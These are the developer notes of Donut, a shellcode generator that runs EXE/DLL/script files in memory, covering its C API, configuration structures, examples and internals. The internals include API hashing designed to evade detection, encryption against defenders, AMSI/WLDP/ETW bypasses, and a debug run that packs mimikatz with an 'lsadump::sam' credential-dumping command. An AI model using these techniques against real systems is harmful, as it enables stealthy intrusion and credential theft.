Skip to content

Latest commit

 

History

History
912 lines (783 loc) · 79.7 KB

devnotes.md

File metadata and controls

912 lines (783 loc) · 79.7 KB

Table of contents

  1. Introduction
  2. Donut API
  3. Donut Configuration
  4. Static Example
  5. Dynamic Example
  6. Donut Components
  7. Donut Instance
  8. Donut Module
  9. Win32 API Hashing
  10. Symmetric Encryption
  11. Bypasses for AMSI/WLDP
  12. Debugging The Generator and Loader
  13. Extending The Loader

1. Introduction

This document contains information useful to developers that want to integrate Donut into their own project or write their own generator in a different language. Static and dynamic examples in C are provided for Windows and Linux. There's also information about the internals of the generator and loader such as data structures, the hash algorithm for resolving API, how bypassing AMSI and WLDP works, the symmetric encryption, debugging the generator and loader. Finally, there's also some information on how to extend functionality of the loader itself.

2. Donut API

Shared/dynamic and static libraries for both Windows and Linux provide access to three API.

  1. int DonutCreate(PDONUT_CONFIG)
  2. Builds the Donut shellcode/loader using settings stored in a DONUT_CONFIG structure.

  3. int DonutDelete(PDONUT_CONFIG)
  4. Releases any resources allocated by a successful call to DonutCreate.

  5. const char* DonutError(int error)
  6. Returns a description for an error code returned by DonutCreate.

The Donut project already contains a generator in C. nixbyte has written a generator in C#. awgh has written a generator in Go and byt3bl33d3r has written a Python module already included with the source.

3. Donut Configuration

The minimum configuration required to build the loader is a path to a VBS/JS/EXE/DLL file that will be executed in-memory. If the file is a .NET DLL, a class and method are required. If the module will be stored on a HTTP server, a URL is required. The following structure is declared in donut.h and should be zero initialized prior to setting any member.

typedef struct _DONUT_CONFIG {
    uint32_t        len, zlen;                // original length of input file and compressed length
    // general / misc options for loader
    int             arch;                     // target architecture
    int             bypass;                   // bypass option for AMSI/WDLP
    int             compress;                 // engine to use when compressing file via RtlCompressBuffer
    int             entropy;                  // entropy/encryption level
    int             format;                   // output format for loader
    int             exit_opt;                 // return to caller or invoke RtlExitUserProcess to terminate the host process
    int             thread;                   // run entrypoint of unmanaged EXE as a thread. attempts to intercept calls to exit-related API
    uint32_t        oep;                      // original entrypoint of target host file
    
    // files in/out
    char            input[DONUT_MAX_NAME];    // name of input file to read and load in-memory
    char            output[DONUT_MAX_NAME];   // name of output file to save loader
    
    // .NET stuff
    char            runtime[DONUT_MAX_NAME];  // runtime version to use for CLR
    char            domain[DONUT_MAX_NAME];   // name of domain to create for .NET DLL/EXE
    char            cls[DONUT_MAX_NAME];      // name of class with optional namespace for .NET DLL
    char            method[DONUT_MAX_NAME];   // name of method or DLL function to invoke for .NET DLL and unmanaged DLL
    
    // command line for DLL/EXE
    char            param[DONUT_MAX_NAME];    // command line to use for unmanaged DLL/EXE and .NET DLL/EXE
    int             unicode;                  // param is passed to DLL function without converting to unicode
    
    // HTTP/DNS staging information
    char            server[DONUT_MAX_NAME];   // points to root path of where module will be stored on remote HTTP server or DNS server
    char            modname[DONUT_MAX_NAME];  // name of module written to disk for http stager
    
    // DONUT_MODULE
    int             mod_type;                 // VBS/JS/DLL/EXE
    int             mod_len;                  // size of DONUT_MODULE
    DONUT_MODULE    *mod;                     // points to DONUT_MODULE
    
    // DONUT_INSTANCE
    int             inst_type;                // DONUT_INSTANCE_EMBED or DONUT_INSTANCE_HTTP
    int             inst_len;                 // size of DONUT_INSTANCE
    DONUT_INSTANCE  *inst;                    // points to DONUT_INSTANCE
    
    // shellcode generated from configuration
    int             pic_len;                  // size of loader/shellcode
    void*           pic;                      // points to loader/shellcode
} DONUT_CONFIG, *PDONUT_CONFIG;

The following table provides a description of each member.

Member Description
len, zlen len holds the length of the file to execute in-memory. If compression is used, zlen will hold the length of file compressed.
arch Indicates the type of assembly code to generate. DONUT_ARCH_X86 and DONUT_ARCH_X64 are self-explanatory. DONUT_ARCH_X84 indicates dual-mode that combines shellcode for both X86 and AMD64. ARM64 will be supported at some point.
bypass Specifies behaviour of the code responsible for bypassing AMSI and WLDP. The current options are DONUT_BYPASS_NONE which indicates that no attempt be made to disable AMSI or WLDP. DONUT_BYPASS_ABORT indicates that failure to disable should result in aborting execution of the module. DONUT_BYPASS_CONTINUE indicates that even if AMSI/WDLP bypasses fail, the shellcode will continue with execution.
compress Indicates if the input file should be compressed. Available engines are DONUT_COMPRESS_APLIB to use the aPLib algorithm. For builds on Windows, the RtlCompressBuffer API is available and supports DONUT_COMPRESS_LZNT1, DONUT_COMPRESS_XPRESS and DONUT_COMPRESS_XPRESS_HUFF.
entropy Indicates whether Donut should use entropy and/or encryption for the loader to help evade detection. Available options are DONUT_ENTROPY_NONE, DONUT_ENTROPY_RANDOM, which generates random strings and DONUT_ENTROPY_DEFAULT that combines DONUT_ENTROPY_RANDOM with symmetric encryption.
format Specifies the output format for the shellcode loader. Supported formats are DONUT_FORMAT_BINARY, DONUT_FORMAT_BASE64, DONUT_FORMAT_RUBY, DONUT_FORMAT_C, DONUT_FORMAT_PYTHON, DONUT_FORMAT_POWERSHELL, DONUT_FORMAT_CSHARP and DONUT_FORMAT_HEX. On Windows, the base64 string is copied to the clipboard.
exit_opt When the shellcode ends, RtlExitUserThread is called, which is the default behaviour. Set this to DONUT_OPT_EXIT_PROCESS to terminate the host process via the RtlExitUserProcess API.Use 3=DONUT_OPT_EXIT_BLOCK to not exit or cleanup and instead block indefinitely.
thread If the file is an unmanaged EXE, the loader will run the entrypoint as a thread. The loader also attempts to intercept calls to exit-related API stored in the Import Address Table by replacing those pointers with the address of the RtlExitUserThread API. However, hooking via IAT is generally unreliable and Donut may use code splicing / hooking in the future.
oep Tells the loader to create a new thread before continuing execution at the OEP provided by the user. Address should be in hexadecimal format.
input The path of file to execute in-memory. VBS/JS/EXE/DLL files are supported.
output The path of where to save the shellcode/loader. Default is "loader.bin".
runtime The CLR runtime version to use for a .NET assembly. If none is provided, Donut will try reading from the PE's COM directory. If that fails, v4.0.30319 is used by default.
domain AppDomain name to create. If one is not specified by the caller, it will be generated randomly. If entropy is disabled, it will be set to "AAAAAAAA"
cls The class name with method to invoke. A namespace is optional. e.g: namespace.class
method The method that will be invoked by the shellcode once a .NET assembly is loaded into memory. This also holds the name of an exported API if the module is an unmanaged DLL.
param String with a list of parameters for the .NET method or DLL function. For unmanaged EXE files, a 4-byte string is generated randomly to act as the module name. If entropy is disabled, this will be "AAAA"
unicode By default, the param string is passed to an unmanaged DLL function as-is, in ANSI format. If set, param is converted to UNICODE.
server If the instance type is DONUT_INSTANCE_HTTP, this should contain the server and path of where module will be stored. e.g: https://www.staging-server.com/modules/
modname If the type is DONUT_INSTANCE_HTTP, this will contain the name of the module for where to save the contents of mod to disk. If none is provided by the user, it will be generated randomly. If entropy is disabled, it will be set to "AAAAAAAA"
mod_type Indicates the type of file detected by DonutCreate. For example, DONUT_MODULE_VBS indicates a VBScript file.
mod_len The total size of the Module pointed to by mod.
mod Points to encrypted Module. If the type is DONUT_INSTANCE_HTTP, this should be saved to file using the modname and accessible via HTTP server.
inst_type DONUT_INSTANCE_EMBED indicates a self-contained payload which means the file is embedded. DONUT_INSTANCE_HTTP indicates the file is stored on a remote HTTP server.
inst_len The total size of the Instance pointed to by inst.
inst Points to an encrypted Instance after a successful call to DonutCreate. Since it's already attached to the pic, this is only provided for debugging purposes.
pic_len The size of data pointed to by pic.
pic Points to the loader/shellcode. This should be injected into a remote process.

4. Static Example

The following is linked with the static library donut.lib on Windows or donut.a on Linux.

#include "donut.h"

int main(int argc, char *argv[]) {
    DONUT_CONFIG c;
    int          err;
    FILE         *out;
    
    // need at least a file
    if(argc != 2) {
      printf("  [ usage: donut_static <EXE>\n");
      return 0;
    }
    
    memset(&c, 0, sizeof(c));
    
    // copy input file
    lstrcpyn(c.input, argv[1], DONUT_MAX_NAME-1);
    
    // default settings
    c.inst_type = DONUT_INSTANCE_EMBED;   // file is embedded
    c.arch      = DONUT_ARCH_X84;         // dual-mode (x86+amd64)
    c.bypass    = DONUT_BYPASS_CONTINUE;  // continues loading even if disabling AMSI/WLDP fails
    c.format    = DONUT_FORMAT_BINARY;    // default output format
    c.compress  = DONUT_COMPRESS_NONE;    // compression is disabled by default
    c.entropy   = DONUT_ENTROPY_DEFAULT;  // enable random names + symmetric encryption by default
    c.exit_opt  = DONUT_OPT_EXIT_THREAD;  // default behaviour is to exit the thread
    c.thread    = 1;                      // run entrypoint as a thread
    c.unicode   = 0;                      // command line will not be converted to unicode for unmanaged DLL function
    
    // generate the shellcode
    err = DonutCreate(&c);
    if(err != DONUT_ERROR_SUCCESS) {
      printf("  [ Error : %s\n", DonutError(err));
      return 0;
    } 
    
    printf("  [ loader saved to %s\n", c.output);
    
    DonutDelete(&c);
    return 0;
}

5. Dynamic Example

This example requires access to donut.dll on Windows or donut.so on Linux.

#include "donut.h"

int main(int argc, char *argv[]) {
    DONUT_CONFIG  c;
    int           err;

    // function pointers
    DonutCreate_t _DonutCreate;
    DonutDelete_t _DonutDelete;
    DonutError_t  _DonutError;
    
    // need at least a file
    if(argc != 2) {
      printf("  [ usage: donut_dynamic <file>\n");
      return 0;
    }
    
    // try load donut.dll or donut.so
    #if defined(WINDOWS)
      HMODULE m = LoadLibrary("donut.dll");
      if(m != NULL) {
        _DonutCreate = (DonutCreate_t)GetProcAddress(m, "DonutCreate");
        _DonutDelete = (DonutDelete_t)GetProcAddress(m, "DonutDelete");
        _DonutError  = (DonutError_t) GetProcAddress(m, "DonutError");
        
        if(_DonutCreate == NULL || _DonutDelete == NULL || _DonutError == NULL) {
          printf("  [ Unable to resolve Donut API.\n");
          return 0;
        }
      } else {
        printf("  [ Unable to load donut.dll.\n");
        return 0;
      }
    #else
      void *m = dlopen("donut.so", RTLD_LAZY);
      if(m != NULL) {
        _DonutCreate = (DonutCreate_t)dlsym(m, "DonutCreate");
        _DonutDelete = (DonutDelete_t)dlsym(m, "DonutDelete");
        _DonutError  = (DonutError_t) dlsym(m, "DonutError");
        
        if(_DonutCreate == NULL || _DonutDelete == NULL || _DonutError == NULL) {
          printf("  [ Unable to resolve Donut API.\n");
          return 0;
        }
      } else {
        printf("  [ Unable to load donut.so.\n");
        return 0;
      }
    #endif
  
    memset(&c, 0, sizeof(c));
    
    // copy input file
    lstrcpyn(c.input, argv[1], DONUT_MAX_NAME-1);
    
    // default settings
    c.inst_type = DONUT_INSTANCE_EMBED;   // file is embedded
    c.arch      = DONUT_ARCH_X84;         // dual-mode (x86+amd64)
    c.bypass    = DONUT_BYPASS_CONTINUE;  // continues loading even if disabling AMSI/WLDP fails
    c.format    = DONUT_FORMAT_BINARY;    // default output format
    c.compress  = DONUT_COMPRESS_NONE;    // compression is disabled by default
    c.entropy   = DONUT_ENTROPY_DEFAULT;  // enable random names + symmetric encryption by default
    c.exit_opt  = DONUT_OPT_EXIT_THREAD;  // default behaviour is to exit the thread
    c.thread    = 1;                      // run entrypoint as a thread
    c.unicode   = 0;                      // command line will not be converted to unicode for unmanaged DLL function
    
    // generate the shellcode
    err = _DonutCreate(&c);
    if(err != DONUT_ERROR_SUCCESS) {
      printf("  [ Error : %s\n", _DonutError(err));
      return 0;
    } 
    
    printf("  [ loader saved to %s\n", c.output);
    
    _DonutDelete(&c);
    return 0;
}

Internals

Everything that follows concerns internal workings of Donut and is not required knowledge to generate the shellcode/loader.

6. Donut Components

The following table lists the name of each file and what it's used for.

File Description
donut.c Main file for the shellcode generator.
include/donut.h C header file used by the generator.
lib/donut.dll and lib/donut.lib Dynamic and static libraries for Microsoft Windows.
lib/donut.so and lib/donut.a Dynamic and static libraries for Linux.
lib/donut.h C header file to be used in C/C++ based projects.
donutmodule.c The CPython wrapper for Donut. Used by the Python module.
setup.py The setup file for installing Donut as a Pip Python3 module.
hash.c Maru hash function. Uses the Speck 64-bit block cipher with Davies-Meyer construction for API hashing.
encrypt.c Chaskey block cipher for encrypting modules.
loader/loader.c Main file for the shellcode.
loader/inmem_dotnet.c In-Memory loader for .NET EXE/DLL assemblies.
loader/inmem_pe.c In-Memory loader for EXE/DLL files.
loader/inmem_script.c In-Memory loader for VBScript/JScript files.
loader/activescript.c ActiveScriptSite interface required for in-memory execution of VBS/JS files.
loader/wscript.c Supports a number of WScript methods that cscript/wscript support.
loader/depack.c Supports unpacking of modules compressed with aPLib.
loader/bypass.c Functions to bypass Anti-malware Scan Interface (AMSI) and Windows Local Device Policy (WLDP).
loader/http_client.c Downloads a module from remote staging server into memory.
loader/peb.c Used to resolve the address of DLL functions via Process Environment Block (PEB).
loader/clib.c Replaces common C library functions like memcmp, memcpy and memset.
loader/getpc.c Assembly code stub to return the value of the EIP register.
loader/inject.c Simple process injector for Windows that can be used for testing the loader.
loader/runsc.c Simple shellcode runner for Linux and Windows that can be used for testing the loader.
loader/exe2h/exe2h.c Extracts the machine code from compiled loader and saves as array to C header and Go files.

7. Donut Instance

The loader will always contain an Instance which can be viewed simply as a configuration. It will contain all the data that would normally be stored on the stack or in the .data and .rodata sections of an executable. Once the main code executes, if encryption is enabled, it will decrypt the data before attempting to resolve the address of API functions. If successful, it will check if an executable file is embedded or must be downloaded from a remote staging server. To verify successful decryption of a module, a randomly generated string stored in the sig field is hashed using Maru and compared with the value of mac. The data will be decompressed if required and only then is it loaded into memory for execution.

8. Donut Module

Modules can be embedded in an Instance or stored on a remote HTTP server.

typedef struct _DONUT_MODULE {
    int      type;                            // EXE/DLL/JS/VBS
    int      thread;                          // run entrypoint of unmanaged EXE as a thread
    int      compress;                        // indicates engine used for compression
    
    char     runtime[DONUT_MAX_NAME];         // runtime version for .NET EXE/DLL
    char     domain[DONUT_MAX_NAME];          // domain name to use for .NET EXE/DLL
    char     cls[DONUT_MAX_NAME];             // name of class and optional namespace for .NET EXE/DLL
    char     method[DONUT_MAX_NAME];          // name of method to invoke for .NET DLL or api for unmanaged DLL
    
    char     param[DONUT_MAX_NAME];           // string parameters for both managed and unmanaged DLL/EXE
    int      unicode;                         // convert param to unicode before passing to DLL function
    
    char     sig[DONUT_SIG_LEN];              // string to verify decryption
    uint64_t mac;                             // hash of sig, to verify decryption was ok
    
    uint32_t zlen;                            // compressed size of EXE/DLL/JS/VBS file
    uint32_t len;                             // real size of EXE/DLL/JS/VBS file
    uint8_t  data[4];                         // data of EXE/DLL/JS/VBS file
} DONUT_MODULE, *PDONUT_MODULE;

9. Win32 API Hashing

A hash function called Maru is used to resolve the address of API at runtime. It uses a Davies-Meyer construction and the SPECK block cipher to derive a 64-bit hash from an API string. The padding is similar to what's used by MD4 and MD5 except only 32-bits of the string length are stored in the buffer instead of 64-bits. An initial value (IV) chosen randomly ensures the 64-bit API hashes are unique for each instance and cannot be used for detection of Donut. Future releases will likely support alternative methods of resolving address of API to decrease chance of detection.

10. Symmetric Encryption

The following structure is used to hold a master key, counter and nonce for Donut, which are generated randomly.

typedef struct _DONUT_CRYPT {
    BYTE    mk[DONUT_KEY_LEN];   // master key
    BYTE    ctr[DONUT_BLK_LEN];  // counter + nonce
} DONUT_CRYPT, *PDONUT_CRYPT;

Chaskey, a 128-bit block cipher with support for 128-bit keys, is used in Counter (CTR) mode to decrypt a Module or an Instance at runtime. If an adversary discovers a staging server, it should not be feasible for them to decrypt a donut module without the key which is stored in the donut loader. Future releases will support downloading a key via DNS and also asymmetric encryption.

11. Bypasses for AMSI/WLDP/ETW

Donut includes a bypass system for AMSI, WLDP, and ETW. Currently, Donut can bypass:

  • AMSI in .NET v4.8
  • Event Tracing for Windows (ETW) logging Assembly loads
  • Device Guard policy preventing dynamically generated code from executing.

You may customize our bypasses or add your own. The bypass logic is defined in loader/bypass.c. Each bypass implements the DisableAMSI with the signature BOOL DisableAMSI(PDONUT_INSTANCE inst) and DisableWLDP with BOOL DisableWLDP(PDONUT_INSTANCE inst), both of which have a corresponding preprocessor directive. We have several #if defined blocks that check for definitions. Each block implements the same bypass function. For instance, our first bypass for AMSI is called BYPASS_AMSI_A. If donut is built with that variable defined, then that bypass will be used.

Why do it this way? Because it means that only the bypass you are using is built into loader.exe. As a result, the others are not included in your shellcode. This reduces the size and complexity of your shellcode, adds modularity to the design, and ensures that scanners cannot find suspicious blocks in your shellcode that you are not actually using.

Another benefit of this design is that you may write your own AMSI/WLDP/ETW bypass. To build Donut with your new bypass, use an if defined block for your bypass and modify the makefile to add an option that builds with the name of your bypass defined.

If you wanted to, you could extend our bypass system to add in other pre-execution logic that runs before your .NET Assembly is loaded.

12. Debugging The Generator and Loader

The loader is capable of displaying detailed information about each step of file execution and can be useful in tracking down bugs. To build a debug-enabled executable, specify the debug label with nmake/make on Windows.

  nmake debug -f Makefile.msvc
  make debug -f Makefile.mingw

Use Donut to create a shellcode as you normally would and a file called instance will be saved to disk. The following example embeds mimikatz.exe in the loader using the Xpress Huffman compression algorithm. It also tells the loader to run the entrypoint as a thread, so that when mimikatz calls an exit-related API, it simply exits the thread.

C:\hub\donut>donut -t -z5 mimikatz.exe -p"lsadump::sam exit"

  [ Donut shellcode generator v0.9.3
  [ Copyright (c) 2019 TheWover, Odzhan

DEBUG: donut.c:1505:DonutCreate(): Entering.
DEBUG: donut.c:1283:validate_loader_cfg(): Validating loader configuration.
DEBUG: donut.c:1380:validate_loader_cfg(): Loader configuration passed validation.
DEBUG: donut.c:459:read_file_info(): Entering.
DEBUG: donut.c:467:read_file_info(): Checking extension of mimikatz.exe
DEBUG: donut.c:475:read_file_info(): Extension is ".exe"
DEBUG: donut.c:491:read_file_info(): File is EXE
DEBUG: donut.c:503:read_file_info(): Mapping mimikatz.exe into memory
DEBUG: donut.c:245:map_file(): Entering.
DEBUG: donut.c:531:read_file_info(): Checking characteristics
DEBUG: donut.c:582:read_file_info(): Leaving with error :  0
DEBUG: donut.c:1446:validate_file_cfg(): Validating configuration for input file.
DEBUG: donut.c:1488:validate_file_cfg(): Validation passed.
DEBUG: donut.c:674:build_module(): Entering.
DEBUG: donut.c:381:compress_file(): Reading fragment and workspace size
DEBUG: donut.c:387:compress_file(): workspace size : 1415999 | fragment size : 5161
DEBUG: donut.c:390:compress_file(): Allocating memory for compressed data.
DEBUG: donut.c:396:compress_file(): Compressing 0000024E9D7E0000 to 0000024E9DA50080 with RtlCompressBuffer(XPRESS HUFFMAN)
DEBUG: donut.c:433:compress_file(): Original file size : 1013912 | Compressed : 478726
DEBUG: donut.c:434:compress_file(): File size reduced by 53%
DEBUG: donut.c:436:compress_file(): Leaving with error :  0
DEBUG: donut.c:684:build_module(): Assigning 478726 bytes of 0000024E9DA50080 to data
DEBUG: donut.c:695:build_module(): Allocating 480054 bytes of memory for DONUT_MODULE
DEBUG: donut.c:772:build_module(): Copying data to module
DEBUG: donut.c:784:build_module(): Leaving with error :  0
DEBUG: donut.c:804:build_instance(): Entering.
DEBUG: donut.c:807:build_instance(): Allocating memory for instance
DEBUG: donut.c:814:build_instance(): The size of module is 480054 bytes. Adding to size of instance.
DEBUG: donut.c:817:build_instance(): Total length of instance : 483718
DEBUG: donut.c:846:build_instance(): Generating random key for instance
DEBUG: donut.c:855:build_instance(): Generating random key for module
DEBUG: donut.c:864:build_instance(): Generating random string to verify decryption
DEBUG: donut.c:871:build_instance(): Generating random IV for Maru hash
DEBUG: donut.c:879:build_instance(): Generating hashes for API using IV: 546E2FF018FD2A54
DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll    : LoadLibraryA           = ABB30FFE918BCF83
DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll    : GetProcAddress         = EF2C0663C0CDDC21
DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll    : GetModuleHandleA       = D40916771ECED480
DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll    : VirtualAlloc           = E445DF6F06219E85
DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll    : VirtualFree            = C6C992D6040B85A8
DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll    : VirtualQuery           = 556BF46109D12C9E
DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll    : VirtualProtect         = 032546126BB99713
DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll    : Sleep                  = DEB476FF0E3D71E8
DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll    : MultiByteToWideChar    = A0DD238846F064F4
DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll    : GetUserDefaultLCID     = 03DE3865FC2DF17B
DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll    : WaitForSingleObject    = 40FCB82879AAB610
DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll    : CreateThread           = 954101E48C1D54F5
DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll    : GetThreadContext       = 18669E0FDC3FD0B8
DEBUG: donut.c:892:build_instance(): Hash for kernel32.dll    : GetCurrentThread       = EB6E7C47D574D9F9
DEBUG: donut.c:892:build_instance(): Hash for shell32.dll     : CommandLineToArgvW     = EFD410EF534D57C3
DEBUG: donut.c:892:build_instance(): Hash for oleaut32.dll    : SafeArrayCreate        = A5AA007611CB6580
DEBUG: donut.c:892:build_instance(): Hash for oleaut32.dll    : SafeArrayCreateVector  = D5CEC16DD247A68A
DEBUG: donut.c:892:build_instance(): Hash for oleaut32.dll    : SafeArrayPutElement    = 6B140B7B87F27359
DEBUG: donut.c:892:build_instance(): Hash for oleaut32.dll    : SafeArrayDestroy       = C2FA65C58C68FC6C
DEBUG: donut.c:892:build_instance(): Hash for oleaut32.dll    : SafeArrayGetLBound     = ED5A331176BB8DDA
DEBUG: donut.c:892:build_instance(): Hash for oleaut32.dll    : SafeArrayGetUBound     = EA0D8BE258DC67DA
DEBUG: donut.c:892:build_instance(): Hash for oleaut32.dll    : SysAllocString         = 3A7BBDEAA1DC3354
DEBUG: donut.c:892:build_instance(): Hash for oleaut32.dll    : SysFreeString          = EEB92DFE18B7C306
DEBUG: donut.c:892:build_instance(): Hash for oleaut32.dll    : LoadTypeLib            = 687DD816E578C4E7
DEBUG: donut.c:892:build_instance(): Hash for wininet.dll     : InternetCrackUrlA      = B0F95D86327741EC
DEBUG: donut.c:892:build_instance(): Hash for wininet.dll     : InternetOpenA          = BDD70375BB72B131
DEBUG: donut.c:892:build_instance(): Hash for wininet.dll     : InternetConnectA       = E74A4DD56C6B3154
DEBUG: donut.c:892:build_instance(): Hash for wininet.dll     : InternetSetOptionA     = 527C502C0BC36267
DEBUG: donut.c:892:build_instance(): Hash for wininet.dll     : InternetReadFile       = 055C3E8A4CF21475
DEBUG: donut.c:892:build_instance(): Hash for wininet.dll     : InternetCloseHandle    = 4D1965E404D783BA
DEBUG: donut.c:892:build_instance(): Hash for wininet.dll     : HttpOpenRequestA       = CC736E0143DB8F2A
DEBUG: donut.c:892:build_instance(): Hash for wininet.dll     : HttpSendRequestA       = C87BFE8578BB0049
DEBUG: donut.c:892:build_instance(): Hash for wininet.dll     : HttpQueryInfoA         = FC7CC8D82764DFBF
DEBUG: donut.c:892:build_instance(): Hash for mscoree.dll     : CorBindToRuntime       = 6F6432B588D39C8D
DEBUG: donut.c:892:build_instance(): Hash for mscoree.dll     : CLRCreateInstance      = 2828FB8F68349704
DEBUG: donut.c:892:build_instance(): Hash for ole32.dll       : CoInitializeEx         = 9752F1AA167F8E79
DEBUG: donut.c:892:build_instance(): Hash for ole32.dll       : CoCreateInstance       = 8211344A519AF3BA
DEBUG: donut.c:892:build_instance(): Hash for ole32.dll       : CoUninitialize         = FF0605E1258BEE44
DEBUG: donut.c:892:build_instance(): Hash for ntdll.dll       : RtlEqualUnicodeString  = D5CEDA5C642834D7
DEBUG: donut.c:892:build_instance(): Hash for ntdll.dll       : RtlEqualString         = A69EAF72442222A4
DEBUG: donut.c:892:build_instance(): Hash for ntdll.dll       : RtlUnicodeStringToAnsiString = 4DBA40D90962E1D6
DEBUG: donut.c:892:build_instance(): Hash for ntdll.dll       : RtlInitUnicodeString   = A1143A47656B2526
DEBUG: donut.c:892:build_instance(): Hash for ntdll.dll       : RtlExitUserThread      = 62FF88CDC045477E
DEBUG: donut.c:892:build_instance(): Hash for ntdll.dll       : RtlExitUserProcess     = E20BCE2C11E82C7B
DEBUG: donut.c:892:build_instance(): Hash for ntdll.dll       : RtlCreateUnicodeString = A469294ED1E1D8DC
DEBUG: donut.c:892:build_instance(): Hash for ntdll.dll       : RtlGetCompressionWorkSpaceSize = 61E26E7C5DD38D2C
DEBUG: donut.c:892:build_instance(): Hash for ntdll.dll       : RtlDecompressBufferEx  = 145C8CF24F5EAF3E
DEBUG: donut.c:892:build_instance(): Hash for ntdll.dll       : NtContinue             = 12ACA3AD3CC20AF5
DEBUG: donut.c:895:build_instance(): Setting number of API to 48
DEBUG: donut.c:898:build_instance(): Setting DLL names to ole32;oleaut32;wininet;mscoree;shell32
DEBUG: donut.c:941:build_instance(): Copying strings required to bypass AMSI
DEBUG: donut.c:949:build_instance(): Copying strings required to bypass WLDP
DEBUG: donut.c:960:build_instance(): Copying strings required to replace command line.
DEBUG: donut.c:968:build_instance(): Copying strings required to intercept exit-related API
DEBUG: donut.c:1018:build_instance(): Copying module data to instance
DEBUG: donut.c:1024:build_instance(): Encrypting instance
DEBUG: donut.c:1042:build_instance(): Leaving with error :  0
DEBUG: donut.c:1210:build_loader(): Inserting opcodes
DEBUG: donut.c:1248:build_loader(): Copying 29548 bytes of x86 + amd64 shellcode
DEBUG: donut.c:1090:save_loader(): Saving instance 0000024E9DE90080 to file. 483718 bytes.
DEBUG: donut.c:1061:save_file(): Entering.
DEBUG: donut.c:1065:save_file(): Writing 483718 bytes of 0000024E9DE90080 to instance
DEBUG: donut.c:1070:save_file(): Leaving with error :  0
DEBUG: donut.c:1139:save_loader(): Saving loader as binary
DEBUG: donut.c:1172:save_loader(): Leaving with error :  0
DEBUG: donut.c:1540:DonutCreate(): Leaving with error :  0
  [ Instance type : Embedded
  [ Module file   : "mimikatz.exe"
  [ Entropy       : Random names + Encryption
  [ Compressed    : Xpress Huffman (Reduced by 53%)
  [ File type     : EXE
  [ Parameters    : lsadump::sam exit
  [ Target CPU    : x86+amd64
  [ AMSI/WDLP     : continue
  [ Shellcode     : "loader.bin"
DEBUG: donut.c:1556:DonutDelete(): Entering.
DEBUG: donut.c:1562:DonutDelete(): Releasing memory for module.
DEBUG: donut.c:1568:DonutDelete(): Releasing memory for configuration.
DEBUG: donut.c:1574:DonutDelete(): Releasing memory for loader.
DEBUG: donut.c:289:unmap_file(): Releasing compressed data.
DEBUG: donut.c:294:unmap_file(): Unmapping input file.
DEBUG: donut.c:299:unmap_file(): Closing input file.
DEBUG: donut.c:1580:DonutDelete(): Leaving.

If successfully created, there should now be a file called "instance" in the same directory as the loader. Pass the instance file as a parameter to loader.exe which should also be in the same directory.

C:\hub\donut>loader instance
Running...
DEBUG: loader/loader.c:109:MainProc(): Maru IV : 546E2FF018FD2A54
DEBUG: loader/loader.c:112:MainProc(): Resolving address for VirtualAlloc() : E445DF6F06219E85
DEBUG: loader/loader.c:116:MainProc(): Resolving address for VirtualFree() : C6C992D6040B85A8
DEBUG: loader/loader.c:120:MainProc(): Resolving address for RtlExitUserProcess() : E20BCE2C11E82C7B
DEBUG: loader/loader.c:129:MainProc(): VirtualAlloc : 00007FFFD1DAA190 VirtualFree : 00007FFFD1DAA180
DEBUG: loader/loader.c:131:MainProc(): Allocating 483718 bytes of RW memory
DEBUG: loader/loader.c:143:MainProc(): Copying 483718 bytes of data to memory 00000178FEA30000
DEBUG: loader/loader.c:147:MainProc(): Zero initializing PDONUT_ASSEMBLY
DEBUG: loader/loader.c:156:MainProc(): Decrypting 483718 bytes of instance
DEBUG: loader/loader.c:163:MainProc(): Generating hash to verify decryption
DEBUG: loader/loader.c:165:MainProc(): Instance : 33C49D5864287AEF | Result : 33C49D5864287AEF
DEBUG: loader/loader.c:172:MainProc(): Resolving LoadLibraryA
DEBUG: loader/loader.c:189:MainProc(): Loading ole32
DEBUG: loader/loader.c:189:MainProc(): Loading oleaut32
DEBUG: loader/loader.c:189:MainProc(): Loading wininet
DEBUG: loader/loader.c:189:MainProc(): Loading mscoree
DEBUG: loader/loader.c:189:MainProc(): Loading shell32
DEBUG: loader/loader.c:193:MainProc(): Resolving 48 API
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for EF2C0663C0CDDC21
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for D40916771ECED480
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for E445DF6F06219E85
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for C6C992D6040B85A8
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 556BF46109D12C9E
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 032546126BB99713
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for DEB476FF0E3D71E8
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for A0DD238846F064F4
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 03DE3865FC2DF17B
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 40FCB82879AAB610
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 954101E48C1D54F5
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 18669E0FDC3FD0B8
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for EB6E7C47D574D9F9
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for EFD410EF534D57C3
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for A5AA007611CB6580
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for D5CEC16DD247A68A
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 6B140B7B87F27359
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for C2FA65C58C68FC6C
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for ED5A331176BB8DDA
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for EA0D8BE258DC67DA
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 3A7BBDEAA1DC3354
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for EEB92DFE18B7C306
